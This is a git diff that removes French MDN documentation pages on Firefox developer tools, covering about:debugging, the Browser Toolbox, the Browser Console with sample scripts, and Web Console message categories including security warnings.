Envoyer des evenements-push dans about:debugging est nouveau dans Firefox 47.

-
- -

Pour déboguer les notifications push, vous pouvez définir un point d'arrêt dans le listener push event. Pourtant, vous pouvez aussi déboguez les notifications push localement, sans le besoin d’un server. Juste cliquez sur le bouton "Push" pour envoyer un évènement push au service worker:

- -

{{EmbedYouTube("62SkLyA-Zno")}}

- -

Service workers pas compatibles

- -
-

Dans Firefox 49+, un message d’avertissement va être afficher dans la section Service Workers dans la page Workers si les service workers ne sont pas compatibles avec les configurations actuelles du navigateur, et donc ne peuvent pas être utiliser ou déboguer.

- -

-
- -

Des Service workers peuvent être indisponible pour plusieurs raisons:

- -
    -
  • Si vous utilisez une fenêtre Private Browsing.
    • -
  • Si vos preferences d’Historique sont mis a "Never Remember History" ou "Always use private browsing mode".
    • -
  • Si la préférence de dom.serviceWorkers.enable est réglé sur false dans about:config.
    • -
diff --git a/files/fr/outils/about_colon_debugging/index.html b/files/fr/outils/about_colon_debugging/index.html deleted file mode 100644 index eb669e756c..0000000000 --- a/files/fr/outils/about_colon_debugging/index.html +++ /dev/null @@ -1,211 +0,0 @@ ---- -title: 'about:debugging' -slug: 'Outils/about:debugging' -translation_of: 'Tools/about:debugging' ---- -
{{ToolsSidebar}}
- -

The about:debugging page provides a single place from which you can attach the Firefox Developer Tools to a number of debugging targets. At the moment it supports three main sorts of targets: restartless add-ons, tabs, and workers.

- -

Opening the about:debugging page

- -

There are several different ways to open about:debugging:

- -
    -
  • Type "about:debugging" in the Firefox URL bar.
    • -
  • New in Firefox 47: in the Tools > Web Developer menu, click "Service Workers".
    • -
  • New in Firefox 47: click the wrench icon (), which is in the main toolbar or under the Hamburger menu (), then select "Service Workers".
    • -
- -

When about:debugging opens, on the left-hand side, you'll see a sidebar enabling you to switch between the two main views: one for add-ons and one for workers.

- -

Le fait que les modules complémentaires système apparaisent dans cette liste ou non, dépend de la préférence devtools.aboutdebugging.showSystemAddons. Pour afficher ces modules complémentaires, il est nécéssaire de la passer à true dans about:config.

- -

Add-ons

- -
-

The Add-ons section in about:debugging only supports restartless add-ons, including basic bootstrapped extensions, Add-on SDK add-ons, and WebExtensions.

-
- -

This page enables you to do two things:

- -
    -
  • Load an add-on temporarily from disk
    • -
  • Connect the Add-on Debugger to any restartless add-ons
    • -
- -

- -

Connecting the Add-on Debugger

- -
-

Note that at the moment, it's recommended that you use the Browser Toolbox, not the Add-on Debugger, for debugging WebExtensions. See Debugging WebExtensions for all the details.

-
- -

The Add-ons page in about:debugging lists all restartless add-ons that are currently installed (note that this list may include add-ons that came preinstalled with your Firefox). Next to each entry is a button labeled "Debug".

- -

If the "Debug" button is disabled, check the "Enable add-on debugging" box.

- -

If you click "Debug", you'll see a dialog asking you to accept an incoming connection. Click "OK", and the Add-on Debugger will start in a separate window. Note that sometimes the debugger window is hidden by the main Firefox window.

- -

{{EmbedYouTube("tGGcA3bT3VA")}}

- -

See the page on the Add-on Debugger for all the things you can do with this tool.

- -
-

The "Enable add-on debugging" button works by turning on the devtools.chrome.enabled and devtools.debugger.remote-enabled preferences. Both preferences must be true to enable add-on debugging. Checking the box sets both preferences to true, and unchecking it sets them both to false.

- -

You can also modify the preferences directly in about:config, or by checking "Enable browser chrome and add-on debugging toolboxes" and "Enable remote debugging" in the Developer Tools Settings.

-
- -

Loading a temporary add-on

- -

With the "Load Temporary Add-on" button you can load any sort of restartless add-on temporarily, from a directory on disk. Just click the button, navigate to the directory containing the add-on's file, and select any file in that directory. The temporary add-on will be displayed under the "Temporary Extensions" header.

- -

You don't have to package or sign the add-on. The add-on will stay installed until you restart Firefox.

- -

{{EmbedYouTube("sAM78GU4P34")}}

- -

The big advantages of this method, compared with installing an add-on from an XPI, are:

- -
    -
  • you don't have to rebuild an XPI and reinstall when you change the add-on's code
    • -
  • you can load an add-on without signing it and without needing to disable signing.
    • -
- -

Updating a temporary add-on

- -

If you install the add-on in this way, what happens when you update the add-on's files?

- -

Before Firefox 48

- -
    -
  • If you change files that are loaded on demand, like content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown.
    • -
  • If you change files that stay loaded the whole time, like background scripts, then you can pick up changes you've made by disabling and then re-enabling the add-on in the about:addons page.
    • -
  • If you change files that are only parsed at install time, like the manifest.json file, you'll need to restart Firefox, then load the add-on again.
    • -
- -
-

Note that before Firefox 48, loading the add-on again by pressing "Load Temporary Add-on" without restarting Firefox does not work.

-
- -

Firefox 48 onwards

- -
    -
- -

From Firefox 48 onwards:

- -
    -
  • as before: if you change files that are loaded on demand, like content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown.
    • -
  • there's a better way to handle the other cases: click the "Reload" button next to the "Debug" button. This does what it says: - -
    • -
- -
-

Note that in Firefox 49 onwards, the Reload button is only enabled for temporary add-ons. It will be disabled for all other add-ons.

-
- -

Tabs

- -

In Firefox 49 onwards, a Tabs page is available in about:debugging — this provides a complete list of all the debuggable tabs open in the current Firefox instance.

- -

- -

Each tab entry has a Debug button next to it — when clicked, this will open up a toolbox specific to that tab, allowing you to debug that tab's contents.

- -

- -
-

Note that this feature isn't that immediately useful to debugging desktop tabs — you can open up a toolbox to debug a tab easily enough already — but this will become far more useful when about:debugging starts to support remote debugging, and this page can begin to list tabs available for debugging on mobile device browsers, simulators, etc. See {{bug(1212802)}} for the latest on this work.

-
- -

Workers

- -

The Workers page shows your workers, categorised as follows:

- - - -

You can connect the developer tools to each worker, and send push notifications to service workers.

- -

- -

Service worker state

- -

From Firefox 52, the list of service workers shows the state of the service worker in its lifecycle. Three states are distinguished:

- -
    -
  • "Registering": this covers all states between the service worker's initial registration, and its assuming control of pages. That is, it subsumes the "installing", "activating", and "waiting" states.
    • -
  • "Running": the service worker is currently running. It's installed and activated, and is currently handling events.
    • -
  • "Stopped": the service worker is installed and activated, but has been terminated after being idle.
    • -
- -

- -
-

This section uses a simple ServiceWorker demo, hosted at https://serviceworke.rs/push-simple/.

-
- -

Debugging workers

- -

For a service worker, if it is already running, you'll see two buttons next to it, labeled "Debug" and "Push". If it's not already running, you'll see one button, labeled "Start": click this to start the service worker.

- -

Clicking "Debug" connects the JavaScript Debugger and Console to this worker. You can set breakpoints, step through code, watch variables, evaluate code, and so on:

- -

{{EmbedYouTube("Z8ax79sHWDU")}}

- -

Registering workers

- -

At first, you won't see any workers listed under Service Workers or Shared Workers. As soon as a worker is registered, the listing is updated:

- -

{{EmbedYouTube("wy4kyWFhFF4")}}

- -
-

Before Firefox 47, service workers were only shown when they were actually running.

-
- -

Unregistering service workers

- -
-

New in Firefox 48.

-
- -

Starting in Firefox 48, you'll see a link named "unregister" next to each registered service worker:

- -

- -

Click the link to unregister the service worker.

- -

Sending push events to service workers

- -
-

Sending push events in about:debugging is new in Firefox 47.

-
- -

To debug push notifications, you can set a breakpoint in the push event listener. However, you can also debug push notifications locally, without needing the server. Just click the "Push" button to send a push event to the service worker:

- -

{{EmbedYouTube("62SkLyA-Zno")}}

- -

Service workers not compatible

- -
-

In Firefox 49+, a warning message will be displayed in the Service Workers section of the Workers page if service workers are incompatible with the current browser configuration, and therefore cannot be used or debugged.

- -

-
- -

Service workers can be unavailable for several reasons:

- -
    -
  • If you are using a Private Browsing window.
    • -
  • If your History preference is set to "Never Remember History" or "Always use private browsing mode".
    • -
  • If the dom.serviceWorkers.enable preference is set to false in about:config.
    • -
diff --git a/files/fr/outils/accessing_the_developer_tools/index.html b/files/fr/outils/accessing_the_developer_tools/index.html deleted file mode 100644 index 648bfbea9a..0000000000 --- a/files/fr/outils/accessing_the_developer_tools/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Le Menu Développement -slug: Outils/Accessing_the_Developer_Tools -translation_of: Tools/Accessing_the_Developer_Tools ---- -
{{ToolsSidebar}}

Le menu "Développement" est le moyen principal d'accéder aux outils de développement qui sont intégrés à Firefox. Sous OS X et Linux, ce menu est un sous menu du menu "Outils" :

- -

- -

Sous Windows, il est directement dans le menu de Firefox :

- -

- -

Le menu "Développement" est découpé en quatre parties :

- -
    -
  • La première partie liste les outils qui sont présent dans la Boite à outils, qui est une fenêtre dédiée aux outils de développement.
    • -
  • La deuxième partie liste les outils intégrés à Firefox, mais qui ne sont pas dans la Boite à outils, ainsi que les outils qui sont des modules complémentaires.
    • -
  • La troisième partie est un lien pour obtenir plus d'outils.
    • -
  • La quatrième partie est un lien pour travailler hors ligne.
    • -
diff --git a/files/fr/outils/add-ons/index.html b/files/fr/outils/add-ons/index.html deleted file mode 100644 index 77d2801897..0000000000 --- a/files/fr/outils/add-ons/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Modules complémentaires -slug: Outils/Add-ons -translation_of: Tools/Add-ons ---- -
{{ToolsSidebar}}
- -

Il s'agit des outils de développement qui ne sont pas directement intégrés à Firefox, mais disponibles en tant que module complémentaire.

- -
-
WebSocket Monitor {{obsolete_inline}}
-
Permet d'examiner les données échangées via une connexion WebSocket. Ce module complémentaire n'est plus disponible car il nécessite des versions de Firefox trop anciennes. WebSocket Sniffer est une alternative, il n'est pas aussi détaillé mais peut aider.
-
diff --git "a/files/fr/outils/bo\303\256te_\303\240_outils_du_navigateur/index.html" "b/files/fr/outils/bo\303\256te_\303\240_outils_du_navigateur/index.html" deleted file mode 100644 index 1d8cb4f77c..0000000000 --- "a/files/fr/outils/bo\303\256te_\303\240_outils_du_navigateur/index.html" +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Boîte à outils du navigateur -slug: Outils/Boîte_à_outils_du_navigateur -tags: - - Debug - - Firefox - - JavaScript -translation_of: Tools/Browser_Toolbox ---- -
{{ToolsSidebar}}
- -

La boite à outils du navigateur, permet de déboguer des modules complémentaires ainsi que le code JavaScript du navigateur lui-même, contrairement à la boite à outils normale qui ne fonctionne que pour les pages ordinaires. Ainsi, le contexte de la boite à outils du navigateur est le navigateur entier au lieu d'une simple page d'un seul onglet.

- -
-

Note: Pour déboguer un module qui ne nécessite pas de redémarrage ou qui se base sur un SDK, il vaut mieux utiliser le Débogeur de modules. Pour les modules qui n'ont pas ces deux caractéristiques, la boite à outils du navigateur est suffisante.

-
- -

Activer la boite à outils du navigateur

- -
-

La boite à outils du navigateur n'est pas activée par défaut. Pour l'activer, il est nécessaire de cocher les options: "Activer le débogage du chrome du navigateur et des modules" et "Activer le débogage distant".

- -

Ces options se trouvent dans les options des outils de développement, dans la section "Paramètres avancés" :

- -

Developer Tools Settings

-
- -

Ouvrir la boite à outils du navigateur

- -

Il est possible d'ouvrir la boite, en ouvrant le menu (bouton new fx menu ) puis en ouvrant le menu "Développement", puis en choisissant "Boite à outils du contenu du navigateur".

- -

Depuis Firefox 39, il est également possible d'utiliser le raccourci clavier Ctrl + Alt +Maj + I ( Cmd + Opt +Maj + I sur un Mac).

- -

Une pop-up s'ouvrira alors (ce comportement peut être désactivé en passant la propriété devtools.debugger.prompt-connection à false dans about:config) :

- -

Cliquer sur OK, ouvrira la boite à outils du navigateur dans sa propre fenêtre :

- -

Il est alors possible d'inspecter le chrome du navigateur ainsi que de voir et déboguer tous les fichiers chargés par le navigateur lui-même et par tous les modules qui sont fonctionnels. Les outils disponibles sont les suivants :

- - - -

Il est possible de déboguer les pages chrome: et about: en utilisant le Débogueur normal, comme si il s'agissait de pages de contenu ordinaires.

- -

Cibler un document

- -

dans la boite à outils normaux, il y a un bouton dans la barre d'outils qui permet de cibler des iframes spécifiques dans le document. Le même bouton apparaît dans la boîte à outils du navigateur où il liste toutes les fenêtres de chrome et de contenu de niveau supérieur ainsi que les iframes qu'elles contiennent. Cela vous permet d'inspecter les documents dans des fenêtres chromées et des fenêtres contextuelles individuelles, ainsi que dans des onglets de contenu.

- -

Voici par exemple ce que le bouton liste lorsqu'il y a deux fenêtres ouvertes, l'une avec un seul onglet, l'autre avec deux :

- -

- -

Déboguer des popups

- -

Il est difficile de déboguer les popups, car le navigateur les cache dès que vous cliquez en dehors d'eux. Il existe un moyen de désactiver ce comportement. Cliquez sur le menu de la boîte à outils et sélectionnez Désactiver le masquage automatique des popups.

- -

 

- -

- -

Maintenant, lorsque vous ouvrez une fenêtre pop-up, elle reste ouverte jusqu'à ce que vous appuyiez sur la touche Echap  . Vous pouvez utiliser le sélecteur de nœuds de l'Inspecteur pour sélectionner ce panneau, puis examiner et modifier son contenu :

- -

{{EmbedYouTube("6edXcunw4jM")}}

- -

Il est possible d'utiliser la même technique pour déboguer les pop-up crées par les modules.

- -
-

Note: Ce changement n'est pas persistant au redémarrage du navigateur. Lorsque vous fermez la boîte à outils du navigateur, le réglage est effacé.

-
diff --git a/files/fr/outils/console_javascript/index.html b/files/fr/outils/console_javascript/index.html deleted file mode 100644 index 7125ea0544..0000000000 --- a/files/fr/outils/console_javascript/index.html +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Console JavaScript -slug: Outils/Console_JavaScript -tags: - - Browser - - Debugging - - Tools - - Web Development - - 'WebDevelopment:Tools' -translation_of: Tools/Browser_Console ---- -
{{ToolsSidebar}}
- -
-

La Console du navigateur est au navigateur entier ce qu'est la Console Web à une page web.

- -

Elle logue le même type d'information de la Console Web : Requêtes réseaux, JavaScript, CSS, erreurs et avertissement de sécurité, messages logués par du code JavaScript. Cependant, au lieu de loguer cette information pour un seul onglet, la console logue l"information de tout les onglets courants, de tout les modules complémentaires et du propre code du navigateur.

- -

Si vous voulez également utiliser les autres outils de développement de la Boite à outils Web sur les modules complémentaires ou le code du navigateur, vous pouvez utiliser la Boite à outils du navigateur.

- -

Comme la Console Web, la Console du navigateur peut exécuter des expressions JavaScript. Cependant, contrairement à la Console Web qui exécute le code dans le contexte de la page, la Console du navigateur, elle, l'exécute dans le contexte de la fenêtre du navigateur. Cela veut dire que vous pouvez interagir avec chaque onglet du navigateur, en utilisant la variable globale gBrowser. Il est même possible d’interagir avec le XUL utilisé pour spécifier l'interface utilisateur du navigateur.

- -
-

NB : La ligne de commande de la Console du navigateur (pour exécuter des expressions JavaScript) est désactivée par défaut. Pour l'activer, il faut passer la préférence devtools.chrome.enabled à true dans about:config, ou cocher l'option "Activer le débogage du chrome du navigateur et des modules" dans les options des outils de développement.

-
- -

Ouvrir la Console du navigateur

- -

Il est possible d'ouvrir la Console du navigateur de deux façons différentes :

- -
    -
  1. Depuis le menu Firefox : Il faut sélectionner "Console du navigateur" dans le menu "'Développement" (sous macOS, le menu "Développement" est un sous menu du menu "Outils")
    2. -
  2. Utiliser le raccourci clavier : Ctrl+Maj+J sur Windows et Cmd+Maj+J sur Mac.
    3. -
- -

Alternativement, il est possible d'ouvrir la Console du navigateur en laçant Firefox en ligne de commande avec l'argument

- -
/Applications/FirefoxAurora.app/Contents/MacOS/firefox-bin -jsconsole
- -

La Console du navigateur ressemble a ceci :

- - - -

- - - -

Comme vous pouvez le constater, la Console du navigateur ressemble et se comporte comme la Console Web :

- - - -

À partir de Firefox 68, la console du navigateur permet d'afficher ou de cacher les messages de contenu (les messages des scripts de toutes les pages ouvertes). Il suffit pour cela de cocher la case "Afficher les messages de contenu". L'image suivante montre la même page, mais avec la case cochée :

- -

- - - -

Messages de la Console du navigateur

- -

La Console du navigateur affiche le même type de messages que la Console Web. Elle affiche donc :

- - - -

Cependant, la Console du Navigateur affiche les messages venant du :

- -
    -
  • Contenu web contenu dans tous les onglets du navigateur
    • -
  • Code du navigateur
    • -
  • Contenu des modules complémentaires.
    • -
- -

Messages des modules complémentaires

- -

La Console du navigateur affiche les messages envoyés par chaque module complémentaire de Firefox.

- -

Console.jsm

- -

Pour utiliser l'API console depuis un modèle complémentaire traditionnel, il faut l'obtenir grâce au module "Console".

- -

Un mot réservé importé par Console.jsm est "console". L'exemple ci-dessous accède au module puis ajoute un message dans la Console du navigateur :

- -
Components.utils.import("resource://gre/modules/Console.jsm");
-console.log("Hello from Firefox code"); //output messages to the console
- -

Pour en savoir plus :

- - - -

HUDService

- -

HUDService permet également d'accéder à la Console du navigateur. Ce module est disponible dans Mozilla DXR. Ce module permet non seulement d’accéder à la Console du navigateur, mais également à la Console Web.

- -

Voici un exemple qui explique comment effacer le contenu de la Console du navigateur :

- -
Components.utils.import("resource://devtools/shared/Loader.jsm");
-var HUDService = devtools.require("devtools/client/webconsole/hudservice");
-
-var hud = HUDService.getBrowserConsole();
-hud.jsterm.clearOutput(true);
- -

Il est possible d'accéder au contexte du document de la Console du navigateur avec HUDService. L'exemple ci-dessous efface la contenu de la Console du navigateur quand l'utilisateur survole le bouton "Clear" :

- -
Components.utils.import("resource://devtools/shared/Loader.jsm");
-var HUDService = devtools.require("devtools/client/webconsole/hudservice");
-
-var hud = HUDService.getBrowserConsole();
-
-var clearBtn = hud.chromeWindow.document.querySelector('.webconsole-clear-console-button');
-clearBtn.addEventListener('mouseover', function() {
-  hud.jsterm.clearOutput(true);
-}, false);
- -

Fonctionnalités bonus disponibles

- -

Pour les modules complémentaires utilisant le Add-on SDK, l'API console est disponible automatiquement. Voici un exemple de module complémentaire qui affiche une erreur quand l'utilisateur clique sur un widget :

- -
widget = require("sdk/widget").Widget({
-  id: "an-error-happened",
-  label: "Error!",
-  width: 40,
-  content: "Error!",
-  onClick: logError
-});
-
-function logError() {
-  console.error("something went wrong!");
-}
- -

Compiler ceci en tant que fichier XPI, puis ouvrir la Console du navigateur, puis ouvrir le fichier XPI dans Firefox et l'installer fera apparaître un widget nommé "Error!" dans la barre des modules complémentaires :

- -

Cliquer sur l’icône affichera ce message dans la console :

- -

- -

Les messages des modules complémentaires basés sur le Add-on SDK sont préfixés par le nom du module complémentaire (ici "log-error"), rendant ainsi la recherche de ces messages facile grâce à la boite de filtrage. Par défaut, seuls les messages d’erreur sont affichés dans la console. Il est cependant possible de changer cela dans préférences du navigateur.

- -

Ligne de commande de la Console du navigateur

- -
-

La ligne de commande de la Console du navigateur est désactivée par défaut. Pour l'activer, il faut passer la préférence devtools.chrome.enabled à true dans about:config, ou cocher l'option "Activer le débogage du chrome du navigateur et des modules" dans les options des outils de développement.

-
- -

Comme la Console Web, l'interpréteur de ligne de commande permet d'évaluer des expressions JavaScript en temps réel :Comme la Console Web, elle supporte également l'autocomplétion, l'historique, de nombreux raccourcis clavier et des fonctions d'aide. Si le résultat d'une commande est un objet, Il est possible de cliquer dessus pour voir ses détails.

- -

Alors que la Console Web exécute le code dans le contexte de la page à laquelle elle est rattachée, la Console du navigateur elle exécute le code dans la contexte du navigateur. Il est possible de vérifier cela en évaluant l'objet window :

- -

- -

Cela signifie qu'il est possible de contrôler le navigateur, il est ainsi possible de : ouvrir et fermer onglets et fenêtres, changer leur contenu et modifier l'interface utilisateur en créant, modifiant ou supprimant des éléments XUL.

- -

Contrôler le navigateur

- -

L'interpréteur de ligne de commande a accès à l'objet tabbrowser à travers la variable globale gBrowser. Cela permet de contrôler le navigateur via ligne de commande. Entrer ce code dans la ligne de commande de la Console du navigateur modifiera l’onglet ouvert puis redirigera automatiquement vers le site de Mozilla (bon à savoir, pour sauter une ligne dans l'interpréteur, utilisez le Maj+Entrée) :

- -
var newTabBrowser = gBrowser.getBrowserForTab(gBrowser.selectedTab);
-newTabBrowser.addEventListener("load", function() {
-  newTabBrowser.contentDocument.body.innerHTML = "<h1>this page has been eaten</h1>";
-}, true);
-newTabBrowser.contentDocument.location.href = "https://mozilla.org/";
- -

Cela ajoute un écouteur sur l'évènement load qui absorbera la nouvelle page puis chargera la nouvelle page.

- -
-

Il est possible de relancer le navigateur avec avec la commande Ctrl + Alt + R (Windows, Linux) ou Cmd + Alt + R (Mac). Cette commande redémare le navigateur avec les même onglets qu'avant le rédémarage.

-
- -

Modifier l'interface utilisateur du navigateur

- -

Étant donné que l’objet window correspond au chrome du navigateur, il est possible de modifier l'interface utilisateur du navigateur. Sur Windows, le code suivant ajoutera un nouvel objet au menu principal du navigateur. (Attention, ce code ne marche pas dans les versions récentes de Firefox) :

- -
var parent = window.document.getElementById("appmenuPrimaryPane");
-var makeTheTea = gBrowser.ownerDocument.defaultView.document.createElementNS("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem");
-makeTheTea.setAttribute("label", "A nice cup of tea?");
-parent.appendChild(makeTheTea);
- -

Sur macOS, ce code ajoutera un objet au menu "Tools" :

- -
var parent = window.document.getElementById("menu_ToolsPopup");
-var makeTheTea = gBrowser.ownerDocument.defaultView.document.createElementNS("http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul", "menuitem");
-makeTheTea.setAttribute("label", "A nice cup of tea?");
-parent.appendChild(makeTheTea);
- -

-
diff --git a/files/fr/outils/console_web/console_messages/index.html b/files/fr/outils/console_web/console_messages/index.html deleted file mode 100644 index 6115351784..0000000000 --- a/files/fr/outils/console_web/console_messages/index.html +++ /dev/null @@ -1,469 +0,0 @@ ---- -title: Console messages -slug: Outils/Console_Web/Console_messages -translation_of: Tools/Web_Console/Console_messages ---- -
{{ToolsSidebar}}
- -

La majorité de la Console Web est occupée par le panneau d'affichage des messages :

- -

- -

Chaque message est affiché sur une nouvelle ligne.

- -

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TempsLa date et heure à laquelle le message a été enregistré. Cette information n'est pas affichée par défaut, et vous pouvez demander de l'afficher en utilisant un paramètre de la Boite d'outils
Catégorie -

Indique le type de message :

- -
    -
  • Noir : Requête HTTP
    • -
  • Bleu  : Avertissement/erreur CSS
    • -
  • Orange  : Avertissement/erreur JavaScript
    • -
  • Rouge : Avertissement/erreur de sécurité
    • -
  • Vert : Logs serveur
    • -
  • Gris léger  : Message de l'API Console
    • -
  • Gris foncé : Messages d'entrées/sorties de la ligne de commande JavaScript
    • -
-
TypePour tous les messages sauf les requêtes HTTP et les messages d'entrées/sorties, une icône indique s'il s'agit d'une erreur (☓), d'un avertissement (⚠), ou d'un message informatif
MessageLe message lui-même
Nombre d’occurrencesSi une ligne générant un avertissement ou une erreur apparait plus d'une fois, elle ne sera enregistrée qu'une fois, et ce compteur apparaitra pour indiquer le nombre de fois qu'elle a été rencontrée
Nom du fichier et numéro de ligne -

Pour JavaScript, CSS et les messages de l'API console, le message peut être associé à une ligne de code spécifique. La console fournit alors un lien vers le nom du fichier et le numéro de ligne qui a généré le message.

- -

Depuis Firefox 36, cela inclut le nombre de colones également.

-
- -

Par défaut, la console est effacée à chaque fois que vous naviguez sur une nouvelle page ou que vous rechargez la page courante. Pour modifier ce comportement, cochez "Activer les journaux persistants" dans les paramètres de la Boite à outils.

- -

Categories de messages

- -

Requêtes réseau

- - - -
-

Les messages réseau ne sont pas affichés par défaut. Il faut utiliser la fonctionnalité de filtrage pour les afficher.

-
- - - -

Les requêtes résseau sont affichées sous cette forme :

- -

- - - - - - - - - - - - - - - - - - - - - - - - -
TempsLa date et heure à laquelle le message a été enregistré
CatégorieIndique que ce message concerne une requête HTTP
Méthode -

La méthode HTTP utilisée

- -

Si la requête à été faite avec XMLHttpRequest, il y a une notre aditionelle :

- -

-
URIL'URI cible
RésuméLa version HTTP, le code de statut, et le temps qu'il a fallu pour la terminer
- -

Si vous cliquez sur le message, vous verrez une fenêtre contenant plus de détails sur la requête et la réponse :

- -

Défiler vers le bas révèle les en-têtes de réponses. Par défaut, la Console Web n'enregistre pas les contenus de la requête et la réponse : pour le faire, activez le menu contextuel de la Console Web et choisissez "Journaliser le contenu des requêtes et des réponses". Rechargez la page, et vous les verrez dans cette fenêtre d'inspection.

- -

Seul le premier méga-octet de données est enregistré pour le contenu de chaque requête ou réponse. Les requêtes et les réponses très lourdes seront tronquées.

- -

Les logs de messages réseaux ne sont pas montrés par defaut. Utiliser la fonction filtre pour les afficher.

- -

XHR

- -

From Firefox 38 onwards, the Web Console indicates when a network request was made as an XMLHttpRequest:

- -

- -

Also from Firefox 38 onwards, you can filter the network requests so as to only see XMLHttpRequests.

- -

Like normal network request log messages, logs of XMLHttpRequests are not shown by default. Use the filtering feature to show them.

- -

Erreurs et avertissements JavaScript

- -

Les messages JavaScript ressemblent à :

- -

- -

- -

Erreurs CSS, avertissements et évènements de reflow

- -

Les messages CSS ressemblent à ceci :

- -

- -

Par défaut, les avertissements CSS ne sont pas affichés.

- -

Évènements de reflow

- -

La Console Web logue aussi les évènements de reflow. Un reflow est le nom donné à une opération pendant laquelle le navigateur calcule la disposition de tout ou partie de la page.
- Les reflows se produisent lorsqu'un changement est arrivé dans la page et que la navigateur pense qu'il en affecte la disposition. Plusieurs évènements peuvent déclencher des reflows, incluant : redimensionner la fenêtre du navigateur, activer des pseudo-classes comme :hover ou manipuler le DOM en JavaScript.
-
- Parce que les reflows peuvent être très coûteux en calculs et affecter directement l'interface utilisateur, ils peuvent avoir un grand impact sur la réactivité d'un site ou d'une application web. En loguant les évènements de reflow, la Console Web peut vous donner une idée du moment auquel ces évènements sont déclenchés, combien de temps ils prennent à s'exécuter et si les reflows sont synchrones et déclenchés par du JavaScript, quel code les a déclenchés.
-
- Les évènements de reflow sont affichés dans la catégorie CSS, en tant que messages "Log", bien séparés des erreurs et avertissements CSS. Par défaut, ils sont désactivés. Vous pouvez les activer en cliquant sur le bouton "CSS" dans la boite à outils et en sélectionnant "Log".
-
- Chaque message porte une étiquette "reflow" et montre le temps qui a fallu pour exécuter le reflow :
-
-
- Si le reflow est synchrone et a été déclenché par du JavaScript, un lien vers la ligne de code qui a déclenché le reflow est aussi affiché :

- -


- Cliquez sur le lien pour ouvrir le fichier dans le Débogueur.

- -

Reflows synchrones et asynchrones

- -

Si un changement est fait et qu'il invalide la disposition courante - par exemple, la fenêtre du navigateur est redimensionnée ou du JavaScript modifie le CSS d'un élément - la disposition n'est pas recalculée immédiatement. A la place, le reflow se produit de façon asynchrone, lorsque le navigateur décide que cela est nécessaire ; en général, lorsque le navigateur redessine ("repaint"). De cette façon, le navigateur peut enregistrer une série de changements invalidants et recalculer leurs effets en une seule fois. Cependant, si du code JavaScript lit un style qui a été modifié, alors le navigateur doit réaliser un reflow synchrone pour calculer le style calculé ("computed style") à retourner.

- -

Par exemple, le code suivant provoque un reflow immédiat et synchrone au moment de l'appel à window.getComputedStyle(thing).height :

- -
var thing = document.getElementById("the-thing");
-thing.style.display = "inline-block";
-var thingHeight = window.getComputedStyle(thing).height;
-
- -

A cause de cela, c'est une bonne idée d'éviter l'entrelacement des appels en écriture et en lecture des styles d'un élément lors de la manipulation du DOM, parce que chaque fois que vous relisez un style qui a été invalidé par un précédent appel en écriture, vous forcez un reflow synchrone.

- -

Avertissements et erreurs de sécurité

- -

Les avertissements et les erreurs de sécurité ressemblent à ceci :

- -

Les messages de sécurité affichés dans la console web aident les développeurs à trouver les vulnérabilités de leur site qu’elles soient potentielles ou effectives. De plus, beaucoup de ces messages sont enrichissants pour les développeurs car ils finissent par un lien "En savoir plus" qui redirige sur une page contenant des informations et des conseils pour minimiser le problème.

- -

La liste complète des messages de sécurité est la suivante :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MessageDetails
Blocage du chargement du contenu mixte actifLa page contient du contenu mixte actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu actif (des scripts par exemple) en HTTP. Le navigateur a bloqué ce contenu. Voir la page Contenu Mixte pour plus d'informations.
Blocage du chargement du contenu mixte non actifLa page contient du contenu mixte non actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu non actif (des images par exemple) en HTTP. Le navigateur a bloqué ce contenu. Voir la page Contenu Mixte pour plus d'informations.
Chargement de contenu mixte actif (non sécurisé) sur une page sécuriséeLa page contient du contenu mixte actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu actif (des scripts par exemple) en HTTP. Le navigateur a chargé ce contenu. Voir la page Contenu Mixte pour plus d'informations.
Chargement de contenu mixte non actif (non sécurisé) sur une page sécuriséeLa page contient du contenu mixte non actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu non actif (des images par exemple) en HTTP. Le navigateur a chargé ce contenu. Voir la page Contenu Mixte pour plus d'informations.
Le site spécifie un en-tête   X-Content-Security-Policy/Report-Only et un en-tête Content-Security-Policy/Report-Only. L’en-tête X-Content-Security-Policy/Report-Only sera ignoré.Voir Content Security Policy pour plus de détails.
Les en-tête X-Content-Security-Policy X-Content-Security-Report-Only seront dépréciés dans le futur. Merci d'utiliser les en-têtes Content-Security-Policy et Content-Security-Report-Only avec les spécificités CSP à la place.Voir Content Security Policy pour plus de détails.
Champs mot de passe présents sur une page non sécurisée (http://). C'est une faille de sécurité qui permet le vol des informations de l'utilisateur.Les pages contenant des formulaires de connexion doivent être servis en HTTPS et non en HTTP.
Champs mot de passe présents sur un formulaire non sécurisé (http://). C'est une faille de sécurité qui permet le vol des informations de l'utilisateur.Les formulaires contenant des champs de mot de passe doivent les envoyer en HTTPS et non en HTTP.
Champs mot de passe présents dans un iframe non sécurisé (http://). C'est une faille de sécurité qui permet le vol des informations de l'utilisateur.Les pages comprenant des iframes qui contiennent des formulaires de connexion doivent être servis en HTTPS et non en HTTP.
Le site a spécifié un en-tête Strict-Transport-Security invalide.Voir HTTP Strict Transport Security pour plus d'informations
-
-

New in Firefox 36

-
- -

This site makes use of a SHA-1 Certificate; it's recommended you use certificates with signature algorithms that use hash functions stronger than SHA-1.

- 		-

The site uses a certificate whose signature uses the SHA-1 hash algorithm.

- -

SHA-1 is still still widely used in certificates, but it is starting to show its age. Web sites and Certification Authorities are encouraged to switch to stronger hash algorithms in future. See the Weak Signature Algorithm article for more details.

- -

Note that the SHA-1 certificate may not be your site's own certificate, but may be the certificate belonging to a Certification Authority that was used to sign your site's certificate.

-
- -

